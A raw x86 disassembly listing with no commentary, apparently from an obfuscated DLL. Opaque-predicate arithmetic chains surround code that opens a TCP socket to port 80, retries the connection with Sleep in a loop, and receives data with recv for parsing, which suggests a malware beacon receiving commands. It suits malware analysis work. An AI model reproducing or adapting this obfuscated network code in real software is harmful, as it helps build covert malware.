and eax, 0xf4fcfd68
imul eax, eax, 0x42a1949d
or eax, 0x7e1cb4db
or eax, 0x582e9336
imul eax, eax, 0xc757b4f
or eax, 0xa5de9fc1
or eax, 0xa9018447
and eax, 0x9a7b9c06
imul eax, eax, 0x17cf7001
add eax, 0xed066611
imul eax, eax, 0xf1c95e18
xor eax, 0x6fd6ee8d
and eax, 0x57704fa
imul eax, eax, 0xb3dd69ec
sub eax, 0xa6cb9480
sub eax, 0xfad61ddf
and eax, 0x676cc1e9
or eax, 0xa5e3ef11
or eax, 0xcdfdcbfc
and eax, 0x1053b8e9
or eax, 0xfa9f5b60
add eax, 0x531bdde5
or eax, 0x2409fd67
xor eax, 0x676046a4
xor eax, 0x356154d8
sub eax, 0xa8fb4468
imul eax, eax, 0xc1aae7cf
mov ebx, 0x307bb44f
xor edx, edx
div ebx
mov edx, dword [esi + 0x98]
mov ebx, eax
mov eax, dword [esi + 0x70]
xor ebx, 0xbc6bc18f
and ebx, 0x7ade2dfd
imul ebx, ebx, 0x123a0d98
mov dword [esi + 0x38], ebx
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0x8c]
mov eax, dword [esi + 0x74]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x9c]
mov ecx, dword [esi + 0x138]
mov edi, eax
mov eax, dword [esi + 0x38]
mov dword [edx], edi
mov edx, dword [edx]
mov ecx, dword [ecx]
mov dword [ecx], edx
cmp eax, 0x4894d6dc
jae 0x10050cc5
jmp 0x1004d821
mov edi, dword [esi + 0xd4]
mov ebx, dword [esi + 0xd0]
mov edx, dword [esi + 0xb4]
mov eax, dword [esi + 0xa0]
mov ecx, dword [0x100bd1db]
mov dword [eax + 3], ecx
mov ecx, dword [0x100bd1d8]
mov dword [eax], ecx
mov ecx, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
movsd xmm0, qword [0x100bd1c0]
movsd qword [ecx], xmm0
mov cl, byte [0x100bd1d0]
mov byte [eax + 4], cl
mov ecx, dword [0x100bd1cc]
mov dword [eax], ecx
mov ecx, dword [esi + 0xac]
mov al, byte [0x100bd1b9]
mov byte [ecx + 4], al
mov eax, dword [0x100bd1b5]
mov dword [ecx], eax
mov eax, dword [esi + 0xb0]
mov ecx, dword [0x100bd1f2]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xa0]
movsd xmm0, qword [0x100bd1ea]
movsd qword [eax], xmm0
mov ax, word [0x100bd1ae]
mov word [edx + 4], ax
mov eax, dword [0x100bd1aa]
mov dword [edx], eax
mov eax, dword [esi + 0x130]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov ecx, dword [esi + 0xa4]
mov edx, dword [esi + 0xb8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x130]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov ecx, dword [esi + 0xa8]
mov edx, dword [esi + 0xbc]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x130]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov edx, dword [esi + 0xc0]
mov ecx, dword [esi + 0xac]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x130]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov edx, dword [esi + 0xc4]
mov ecx, dword [esi + 0xb0]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x130]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003d7c0
mov ecx, dword [esi + 0xc8]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x130]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xb4]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1003d7c0
mov edx, dword [esi + 0x138]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0xcc]
mov dword [eax], ecx
mov ecx, dword [esi + 0xd8]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0xd8]
mov edx, eax
mov eax, dword [esi + 0xb8]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0xdc]
mov ecx, dword [esi + 0xd8]
mov edi, eax
mov eax, dword [esi + 0xbc]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xd4]
mov dword [eax], ecx
mov eax, dword [esi + 0xd4]
cmp dword [eax], 0xffffffff
jne 0x1004dac0
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xdc]
mov eax, dword [esi + 0xbc]
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xd4]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1004da68
mov eax, dword [0x100be924]
or eax, dword [0x100be928]
xor eax, 0x74fedac9
xor eax, 0x9f42d082
xor eax, 0xed964117
add eax, 0x95eb2af1
xor eax, 0x74d31f83
or eax, 0x50e24094
mov ecx, 0xf761a39f
xor edx, edx
div ecx
sub eax, 0x3cf19186
and eax, 0xa85257cf
sub eax, 0x3719a13c
xor eax, 0x5474efcd
imul eax, eax, 0xe1a1b380
or eax, 0x96ca7c0d
add eax, 0x2e9b5e7e
sub eax, 0xe108172e
and eax, 0x6d047a9a
xor eax, 0xd3a80922
xor eax, 0xc63a50ad
imul eax, eax, 0x63195dfd
sub eax, 0x98339b36
xor eax, 0x1ad14c1c
or eax, 0xc296a314
add eax, 0x3a909126
and eax, 0xe1265340
or eax, 0x435e28ef
mov ecx, 0xe39e130f
xor edx, edx
div ecx
sub eax, 0x3ca05657
add eax, 0x347c6c79
add eax, 0xa93562f3
and eax, 0x5d3c3d0e
xor eax, 0x5d721279
or eax, 0xa1df31cf
mov ecx, 0x63b52a69
xor edx, edx
div ecx
mov ecx, 0x3b54d731
xor edx, edx
div ecx
mov ecx, 0x11b18e3c
xor edx, edx
div ecx
imul eax, eax, 0x3d027db2
or eax, 0xee94b743
sub eax, 0xf6dc565
and eax, 0x4ba4dcd3
imul eax, eax, 0xadae7841
imul eax, eax, 0x976fe59f
xor eax, 0x8fb6de82
sub eax, 0xea21edd3
sub eax, 0xc4727b45
mov ecx, 0xb7710b5b
xor edx, edx
div ecx
sub eax, 0xf2779bc9
add eax, 0xd872228f
imul eax, eax, 0x45ec2edc
mov ecx, 0x8362ad1c
xor edx, edx
div ecx
and eax, 0x180e1961
sub eax, 0x2a60c687
sub eax, 0x2b733c0c
xor eax, 0x65706c5
and eax, 0x8bcb3360
add eax, 0x5c570ae0
mov ecx, 0x9e208d52
xor edx, edx
div ecx
or eax, 0xbbd1ade6
or eax, 0x105c14e1
add eax, 0x3959a527
or eax, 0x1b0d1210
or eax, 0x1cb7caa6
mov ecx, 0xccbb9158
xor edx, edx
div ecx
mov ecx, 0x7e04b621
xor edx, edx
div ecx
add eax, 0xe27afae3
and eax, 0xe412d916
mov ecx, 0x62ec2dc0
xor edx, edx
div ecx
add eax, 0x5852e8c3
add eax, 0x54f71012
and eax, 0xd01f9e6b
sub eax, 0x1f73dae5
and eax, 0x1169f2f0
mov ecx, 0x577a613d
xor edx, edx
div ecx
cmp eax, 0xa74d3f0f
jae 0x10050d32
mov edi, dword [esi + 0xdc]
mov eax, dword [0x100be92c]
add eax, dword [0x100be930]
add eax, 0xf5eef702
mov ecx, 0x97dc9642
xor edx, edx
div ecx
and eax, 0x8fd22a7d
mov ecx, 0x2d106edf
xor edx, edx
div ecx
sub eax, 0x598bbd59
xor eax, 0xb76c4df
imul eax, eax, 0x979fa889
sub eax, 0x1abb8f62
and eax, 0xe5023b9e
and eax, 0xc196fb37
mov ecx, 0x744c008
xor edx, edx
div ecx
and eax, 0xccc9b621
sub eax, 0x7372d322
sub eax, 0x21ea0cf5
or eax, 0xbc2e97d3
and eax, 0x2fb595ef
xor eax, 0xbd93f304
imul eax, eax, 0xedf7ce91
mov ecx, 0xadfd7c92
xor edx, edx
div ecx
mov ecx, 0x2187f586
xor edx, edx
div ecx
or eax, 0x67205084
imul eax, eax, 0xad0efdf5
mov ecx, 0xc43a1b00
xor edx, edx
div ecx
and eax, 0xb23045b5
imul eax, eax, 0xfb748c2d
add eax, 0xce4edbf1
add eax, 0x3c168820
and eax, 0x5830f2c4
xor eax, 0x6f6d0945
mov ecx, 0x4c48a27
xor edx, edx
div ecx
or eax, 0x2ff2f9a2
mov ecx, 0x5d16c780
xor edx, edx
div ecx
and eax, 0x602372fb
add eax, 0xcf1ea3dd
or eax, 0xebda731b
and eax, 0xc63fc17b
mov ecx, 0x76e1896b
xor edx, edx
div ecx
imul eax, eax, 0x33f9db66
mov ecx, 0x1b742232
xor edx, edx
div ecx
imul eax, eax, 0x3f14b3ac
sub eax, 0x4a88bd55
mov ecx, 0x37d32fc8
xor edx, edx
div ecx
mov ecx, 0x5f51a236
xor edx, edx
div ecx
or eax, 0xba6f787d
mov ecx, 0x4d1ac183
xor edx, edx
div ecx
or eax, 0xd405d613
add eax, 0xd2c03f0b
mov ecx, 0x79f3aa0e
xor edx, edx
div ecx
sub eax, 0xec37e42f
imul eax, eax, 0xae7933e4
or eax, 0x93dc600b
mov ecx, 0x19dcf38d
xor edx, edx
div ecx
mov ecx, 0x81af95b5
xor edx, edx
div ecx
mov ecx, 0x8866b8da
xor edx, edx
div ecx
or eax, 0xfec7c171
sub eax, 0x75bd5e11
mov ecx, 0xe1113689
xor edx, edx
div ecx
xor eax, 0x80c14684
mov ecx, 0xfb521851
xor edx, edx
div ecx
sub eax, 0xfd700e44
add eax, 0xd03efbfd
mov ecx, 0xabc34ab0
xor edx, edx
div ecx
mov ecx, 0x3507e671
xor edx, edx
div ecx
imul eax, eax, 0xc346dc94
sub eax, 0x5b973b1f
or eax, 0xf75a9350
mov ecx, 0x331a945c
xor edx, edx
div ecx
or eax, 0x6fedbf08
xor eax, 0x89b694aa
or eax, 0xe6dd45b7
or eax, 0x9c091d2d
add eax, 0x5aa46cc6
mov dword [esi + 0x30], eax
sub esp, 4
mov dword [esp], 0x104
call fcn.10066f81
mov edx, dword [esi + 0xe4]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xe0]
mov dword [eax], ecx
mov ecx, dword [0x100bd20f]
mov dword [edx], ecx
mov ecx, dword [0x100bd213]
mov dword [edx + 4], ecx
mov ecx, dword [0x100bd217]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10087c90
mov ecx, dword [esi + 0xe0]
add esp, 8
mov eax, dword [esi + 0x50]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
mov ecx, dword [esi + 0xe0]
add esp, 8
mov eax, dword [esi + 0x54]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
mov ecx, dword [esi + 0xe0]
add esp, 8
mov eax, dword [esi + 0x4c]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
add esp, 8
mov eax, dword [esi + 0xe0]
mov ecx, dword [eax]
lea eax, [0x100b2496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
mov edx, dword [esi + 0xe0]
mov ecx, dword [esi + 0xc0]
add esp, 8
mov eax, dword [esi + 0xe8]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 0x2c], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.10087e20
mov edx, dword [esi + 0xe8]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x2c]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, dword [esi + 0xd4]
mov edx, eax
mov eax, dword [esi + 0x30]
mov dword [ecx], edx
cmp dword [ecx], 0xffffffff
sete cl
mov byte [esi + 0x37], cl
cmp eax, 0x3f39dc84
jb 0x10050d32
mov al, byte [esi + 0x37]
test al, 1
jne 0x1004df9f
jmp 0x1004e307
mov eax, dword [0x100be934]
and eax, dword [0x100be938]
imul eax, eax, 0x670d4faf
add eax, 0xe4a14416
and eax, 0x39c9b84d
sub eax, 0xd7c43e6a
mov ecx, 0xd3786942
xor edx, edx
div ecx
and eax, 0xc0ff75c0
sub eax, 0x2ec31263
xor eax, 0xdf7be1a8
or eax, 0x44dc34e9
mov ecx, 0xc95ef3de
xor edx, edx
div ecx
sub eax, 0x5bd4bfe0
mov ecx, 0xd603757c
xor edx, edx
div ecx
and eax, 0xe3f68f58
or eax, 0xfa02a30
or eax, 0xc2d2b5c9
and eax, 0xdc14dc21
add eax, 0x6fa60bcb
or eax, 0xd83a9fc5
mov ecx, 0x52bb03b0
xor edx, edx
div ecx
add eax, 0x15b51a14
mov ecx, 0xe30adfcc
xor edx, edx
div ecx
and eax, 0x136ec45f
and eax, 0x19877b80
or eax, 0xc5cb0e4e
or eax, 0xd6cc3bbd
xor eax, 0xdc214634
mov ecx, 0x169eeda
xor edx, edx
div ecx
add eax, 0x1513a432
xor eax, 0x1fe9081
sub eax, 0x6f7e3da0
and eax, 0x4baced4d
mov ecx, 0x84bf6c7
xor edx, edx
div ecx
add eax, 0x6733d1db
imul eax, eax, 0xffa054e8
xor eax, 0x5db0f3f5
and eax, 0xe931280
sub eax, 0x6353ce27
imul eax, eax, 0xd9c35305
add eax, 0x2d12ff09
xor eax, 0x987bf42a
mov ecx, 0x9e66b46a
xor edx, edx
div ecx
add eax, 0x214b47b5
xor eax, 0xe9ad9b87
or eax, 0xe2a44eb
and eax, 0xe3ec9824
add eax, 0x9401a0fb
add eax, 0x6afa84a2
xor eax, 0x7e24cd4e
mov ecx, 0x502d21a1
xor edx, edx
div ecx
add eax, 0x22e3bfa6
sub eax, 0x6d8647bb
and eax, 0xeb429341
sub eax, 0xc1719375
sub eax, 0xa72f4f8c
imul eax, eax, 0xa25c3149
and eax, 0x9579244d
imul eax, eax, 0x26f7b6d5
or eax, 0x5b22dde8
sub eax, 0x74628a60
mov ecx, 0xf5cba260
xor edx, edx
div ecx
xor eax, 0x95991a1d
xor eax, 0x2b9a08a3
imul eax, eax, 0xfa7138f9
xor eax, 0x7891d396
imul eax, eax, 0x90aae3d1
or eax, 0xfc35c498
and eax, 0xb5a278f6
imul eax, eax, 0xb251c51f
xor eax, 0x7b03f721
imul eax, eax, 0x59622d70
and eax, 0x20b7c0
xor eax, 0xcbbd9a61
cmp eax, 0xddce6bc8
ja 0x10050e65
mov ecx, dword [esi + 0x40]
mov eax, dword [0x100be93c]
or eax, dword [0x100be940]
sub eax, 0x2c0e6272
and eax, 0x440cd785
and eax, 0xe3ce2357
and eax, 0xd7b7f852
xor eax, 0x44f62eb
sub eax, 0x5315a3ba
or eax, 0x4103611f
imul eax, eax, 0xf7696fd
add eax, 0x941db1af
or eax, 0x17e311aa
mov edi, 0xfd99d43f
xor edx, edx
div edi
or eax, 0x9344666d
add eax, 0x677711b3
or eax, 0x957eb10c
and eax, 0xd8cedbfb
add eax, 0x3870f08e
mov edi, 0x7763147d
xor edx, edx
div edi
mov edi, 0x4a10bb4f
xor edx, edx
div edi
add eax, 0x1956c61e
xor eax, 0x13af01a1
mov edi, 0x222a7402
xor edx, edx
div edi
and eax, 0x34af2c47
xor eax, 0xc46a3602
xor eax, 0xfb96acb5
and eax, 0x4de56760
and eax, 0x33dd4a4c
or eax, 0x30ffe296
or eax, 0x276ca8fd
xor eax, 0xd62a86ce
mov edi, 0x82b48de6
xor edx, edx
div edi
mov edi, 0x23f4190b
xor edx, edx
div edi
add eax, 0x4b3b2cfe
mov edi, 0x94b58de6
xor edx, edx
div edi
sub eax, 0x5977e497
imul eax, eax, 0xd9014557
imul eax, eax, 0xe6f4372c
imul eax, eax, 0x4926030c
xor eax, 0x303a3721
mov edi, 0xa60ba69c
xor edx, edx
div edi
xor eax, 0x79d145ac
and eax, 0xa271f978
sub eax, 0x5b0fcd4d
mov edi, 0x64fb32bd
xor edx, edx
div edi
and eax, 0x106d442
add eax, 0xe4ce0a3
add eax, 0xa4e7a9f9
and eax, 0xef758e39
or eax, 0x98e330b3
and eax, 0xc3a14fa4
or eax, 0xd822a3b7
and eax, 0x98406c7e
xor eax, 0x32d920f3
and eax, 0x33fc1b46
and eax, 0x9b578991
or eax, 0x73259948
or eax, 0x4699022f
and eax, 0x1a6db994
sub eax, 0xa36807d8
mov edi, 0x6ed92848
xor edx, edx
div edi
imul eax, eax, 0x522e9b33
and eax, 0xcf9dc6a3
add eax, 0x509d0b4b
xor eax, 0x1cc5ad7f
xor eax, 0xa6d3eedf
add eax, 0x6e810c23
add eax, 0xf3240671
sub eax, 0x9d03547
add eax, 0xbecdf127
and eax, 0xfb43631b
add eax, 0xa590b41a
sub eax, 0xb0836896
xor eax, 0xb5b11421
mov dword [ecx], 0
cmp eax, 0x1712ba17
jbe 0x1004e14e
jmp 0x10050c41
mov eax, dword [0x100be944]
xor eax, dword [0x100be948]
xor eax, 0x8a1810ab
xor eax, 0x9fc5044c
xor eax, 0xf86435fb
xor eax, 0x3b99a1dd
mov ecx, 0x4db4766b
xor edx, edx
div ecx
or eax, 0x64d48b1d
add eax, 0x91390e9
imul eax, eax, 0x9fc8aaa6
xor eax, 0x615fb196
and eax, 0xd0fe1d39
and eax, 0x9fe086d1
or eax, 0xe6549f85
mov ecx, 0x7e3f7b85
xor edx, edx
div ecx
imul eax, eax, 0xfa0ce385
mov ecx, 0xd9135edc
xor edx, edx
div ecx
mov ecx, 0xe49bf41d
xor edx, edx
div ecx
and eax, 0x4b7a79a4
xor eax, 0xbb689560
xor eax, 0xb8bf808c
add eax, 0x9742c9c8
or eax, 0x38bc840d
imul eax, eax, 0xdc4252ad
mov ecx, 0x6ca63b5a
xor edx, edx
div ecx
add eax, 0x47f8df2d
and eax, 0x2a76c25e
or eax, 0x9604adb5
and eax, 0x7f59279a
and eax, 0xb133d5fe
and eax, 0x99a7033a
and eax, 0x448c31a
mov ecx, 0x5397591c
xor edx, edx
div ecx
or eax, 0xefc9c540
sub eax, 0x829d5110
mov ecx, 0x1ecb7926
xor edx, edx
div ecx
sub eax, 0x21195358
mov ecx, 0xe1085ff5
xor edx, edx
div ecx
mov ecx, 0xfc3af72c
xor edx, edx
div ecx
imul eax, eax, 0xe9b92b7a
imul eax, eax, 0xdaae454e
or eax, 0x901343ab
add eax, 0x749e528d
sub eax, 0x2a6a86d1
xor eax, 0xac327407
or eax, 0x5f37b93e
sub eax, 0x3be3261e
or eax, 0x37d45e36
add eax, 0x6adcacf9
xor eax, 0x71275940
add eax, 0xaea90fe8
mov ecx, 0xae1bdee0
xor edx, edx
div ecx
sub eax, 0x93b68186
imul eax, eax, 0xdc0bf09b
imul eax, eax, 0x4c91bb5d
imul eax, eax, 0xcce60e7d
xor eax, 0xf032b651
xor eax, 0xa10b7a0b
sub eax, 0xb3b5430c
or eax, 0x678795e
imul eax, eax, 0x898532a7
sub eax, 0x70c67033
xor eax, 0xd629e61a
mov ecx, 0x306e957b
xor edx, edx
div ecx
sub eax, 0xe8bf1096
or eax, 0x63146ce
sub eax, 0xbc0dde29
or eax, 0xf4cae681
add eax, 0xf6038fbd
imul eax, eax, 0xf0337fb9
mov ecx, 0x6be6a2fb
xor edx, edx
div ecx
sub eax, 0x6d37f44a
mov ecx, 0x3c12b4cd
xor edx, edx
div ecx
and eax, 0x25d19896
cmp eax, 0x11d95011
jae 0x10050e73
mov edi, dword [esi + 0xf4]
mov ebx, dword [esi + 0xf0]
mov eax, dword [0x100be94c]
add eax, dword [0x100be950]
or eax, 0x8dcaebd
add eax, 0x9c1ae81a
mov ecx, 0xc821e4f3
xor edx, edx
div ecx
xor eax, 0x717097f7
add eax, 0xc6df9920
imul eax, eax, 0x13e19cc3
xor eax, 0x4bbd87aa
imul eax, eax, 0xd77fec92
sub eax, 0x78b33a00
sub eax, 0xb79bd0fb
xor eax, 0x6c00bf3f
add eax, 0x6f461e43
sub eax, 0x97658518
or eax, 0x114ace46
add eax, 0x6b7f790f
add eax, 0x87dcdfd5
add eax, 0x166648ef
and eax, 0x5e3a82de
imul eax, eax, 0xf5bb801a
mov ecx, 0xbcea2db7
xor edx, edx
div ecx
mov ecx, 0xe74f27e8
xor edx, edx
div ecx
add eax, 0x82cd7351
mov ecx, 0x866a95ef
xor edx, edx
div ecx
or eax, 0xf502a831
mov ecx, 0x9212e1bc
xor edx, edx
div ecx
add eax, 0x47d07781
imul eax, eax, 0xbb8a91f4
and eax, 0x2ddbb08c
xor eax, 0x124498a8
and eax, 0x4b530041
imul eax, eax, 0x7ab5b4a1
add eax, 0xd3eb9037
xor eax, 0xdebfc5b9
and eax, 0x5429f7fd
add eax, 0xcf5b99d5
xor eax, 0x2f157b05
and eax, 0x4ffe718c
add eax, 0xb1a3950a
add eax, 0x210259f1
or eax, 0x1bc0a655
sub eax, 0x4a915e3d
imul eax, eax, 0x4c084f91
and eax, 0x52a6ca5d
sub eax, 0xd92bc836
add eax, 0xbf57d6a5
add eax, 0x457b659a
and eax, 0xe5e35754
add eax, 0x2794c00e
imul eax, eax, 0x68a93eda
add eax, 0xc5dd3d16
mov ecx, 0x692b01
xor edx, edx
div ecx
imul eax, eax, 0x61aa8a3a
mov ecx, 0x7f322cd
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0xec]
and ecx, 0x6351bded
imul ecx, ecx, 0xa1970074
imul ecx, ecx, 0x701b809d
sub ecx, 0x2ced6230
sub ecx, 0xf632830f
add ecx, 0xabaefe58
imul ecx, ecx, 0xd5460ddf
add ecx, 0xdc65e107
add ecx, 0x4bcdf356
or ecx, 0xc442cbdd
sub ecx, 0x6a93eedd
sub ecx, 0x4da90365
xor ecx, 0x31b31fc
sub ecx, 0xcc1a8edc
imul ecx, ecx, 0x80cb8ae2
and ecx, 0xfd838e98
sub ecx, 0xcbfd8436
and ecx, 0x67f6ad80
sub ecx, 0x7f0204d0
mov dword [esi + 0x28], ecx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1006a950
mov edx, dword [esi + 0xf8]
mov ecx, dword [esi + 0x100]
mov eax, dword [esi + 0x28]
add esp, 0xc
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 1
mov dword [ecx], 0
cmp eax, 0xb6e5a473
je 0x10050e73
jmp 0x1004e6db
mov eax, dword [0x100be954]
sub eax, dword [0x100be958]
mov ecx, 0xf00caad4
xor edx, edx
div ecx
imul eax, eax, 0x7cbdd0f7
and eax, 0xd9d5dd84
and eax, 0x74d3fbf
imul eax, eax, 0x23dc674c
add eax, 0xad1505ad
imul eax, eax, 0x14dc8e53
xor eax, 0xb34d94e1
or eax, 0x2002687c
xor eax, 0x697a7917
or eax, 0x2359d931
imul eax, eax, 0xbe62bd08
add eax, 0x9ba12d52
xor eax, 0x36bc03c8
add eax, 0xdcb0dacf
mov ecx, 0x2b7f04f3
xor edx, edx
div ecx
or eax, 0x7ef7a12a
imul eax, eax, 0xcce12850
imul eax, eax, 0xcca9e859
and eax, 0x6fb18150
xor eax, 0x2be55ae2
and eax, 0x9c17bb0c
sub eax, 0x39463ff7
or eax, 0x1a44a35b
sub eax, 0xb1729af9
add eax, 0x5408b0b1
mov ecx, 0x970efddc
xor edx, edx
div ecx
mov ecx, 0xf896c40d
xor edx, edx
div ecx
sub eax, 0x5b1df7cb
and eax, 0xdf1208d4
or eax, 0x1352c331
add eax, 0xb0d1a829
add eax, 0x26e389f6
sub eax, 0x10acc3c3
and eax, 0x247c6b8
add eax, 0x1fe3866b
and eax, 0xeb1e144c
or eax, 0x89bad2af
mov ecx, 0x119f6b36
xor edx, edx
div ecx
mov ecx, 0x26e430f7
xor edx, edx
div ecx
xor eax, 0xabd93cfe
or eax, 0xd742ffd
add eax, 0xed00b0a4
or eax, 0xea5b11e4
sub eax, 0xfd4b4d36
sub eax, 0xcb24c507
and eax, 0xe0b9e1e9
mov ecx, 0xc3c33efc
xor edx, edx
div ecx
and eax, 0x4655195c
and eax, 0xbcca04bf
mov ecx, 0x12f3623a
xor edx, edx
div ecx
sub eax, 0xbe7f4fa4
mov ecx, 0x736a4856
xor edx, edx
div ecx
add eax, 0x44fab617
and eax, 0x2cd674e1
sub eax, 0xd6c4ab5a
or eax, 0x4172942d
xor eax, 0x3249975
sub eax, 0x5565ac09
add eax, 0xce115e61
add eax, 0x785c5daf
sub eax, 0xff93b47a
add eax, 0xf651b223
add eax, 0xade8d1d5
imul eax, eax, 0xb5f21741
or eax, 0x837cc4d3
xor eax, 0x689bff4e
imul eax, eax, 0xbb3d872a
mov ecx, 0x664d9c52
xor edx, edx
div ecx
imul eax, eax, 0x1fcf698d
xor eax, 0xc4e45aac
xor eax, 0x49b9b995
cmp eax, 0xc2884897
jae 0x10050ece
mov ecx, dword [esi + 0xdc]
mov eax, dword [0x100be95c]
and eax, dword [0x100be960]
imul eax, eax, 0x4b8c04e9
add eax, 0xe12f361
and eax, 0x46ceea53
and eax, 0x7d357e59
and eax, 0x243f73fd
mov edi, 0x25bc78b6
xor edx, edx
div edi
mov edi, 0xbde50a4a
xor edx, edx
div edi
or eax, 0x451204c6
add eax, 0x98af64de
and eax, 0x7b912107
xor eax, 0x9b44d121
and eax, 0x8c3d9a2e
imul eax, eax, 0x355c328f
imul eax, eax, 0x66fb8624
or eax, 0x8ef81ad7
and eax, 0xb56026cb
or eax, 0xb236f95a
and eax, 0x835b5e91
or eax, 0xdede2db9
add eax, 0xe4fa4db6
mov edi, 0x1db45496
xor edx, edx
div edi
add eax, 0x62dcf09a
sub eax, 0xce945206
mov edi, 0xcec897fe
xor edx, edx
div edi
imul eax, eax, 0x7b917e23
and eax, 0xd2b4e75
add eax, 0x7ffa44be
sub eax, 0x8349751b
and eax, 0xd9ec9ae9
sub eax, 0xe2d8273c
mov edi, 0x6409c3d9
xor edx, edx
div edi
sub eax, 0x4474358d
sub eax, 0x5b2dc5af
xor eax, 0x4e6195e
sub eax, 0x7b61203f
and eax, 0x431747a7
imul eax, eax, 0x2768796e
sub eax, 0xf1384734
or eax, 0x47112cd3
mov edi, 0xae2c027f
xor edx, edx
div edi
mov edi, 0x72934925
xor edx, edx
div edi
sub eax, 0xa07e726f
imul eax, eax, 0x7c243fe2
mov edi, 0xa0c4c19b
xor edx, edx
div edi
add eax, 0xb0ef772c
imul eax, eax, 0xd50d3dd0
imul eax, eax, 0x8e5d954e
imul eax, eax, 0xe33f113d
mov edi, 0x673df2b
xor edx, edx
div edi
imul eax, eax, 0xfe6379b0
sub eax, 0xefc1f07a
mov edi, 0xb1a311f7
xor edx, edx
div edi
mov edi, 0x11ab2c28
xor edx, edx
div edi
add eax, 0x2759f093
and eax, 0xbf3cd09c
xor eax, 0x706e98ef
xor eax, 0x92d2c836
xor eax, 0x4e8baca5
mov edi, 0x3aa60247
xor edx, edx
div edi
mov edi, 0x442507
xor edx, edx
div edi
and eax, 0xb7dd056a
sub eax, 0x27bf5dec
or eax, 0x9aba0174
sub eax, 0x8c8c6983
and eax, 0xe0f18dba
add eax, 0x3d1276e6
sub eax, 0x4d5432b9
or eax, 0x8d0fa022
mov edi, 0x426a8a1
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0xec]
and edx, 0xf16f7f54
imul edx, edx, 0xb7153e01
or edx, 0xb0fcdf1
mov dword [esi + 0x20], edx
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0xf0]
mov ecx, dword [esi + 0xec]
mov edi, eax
mov eax, dword [esi + 0x104]
mov dword [edx], edi
mov edx, dword [0x100bd21f]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10048c40
mov ecx, dword [esi + 0x108]
add esp, 8
mov edx, eax
mov eax, dword [esi + 0x20]
mov dword [ecx], edx
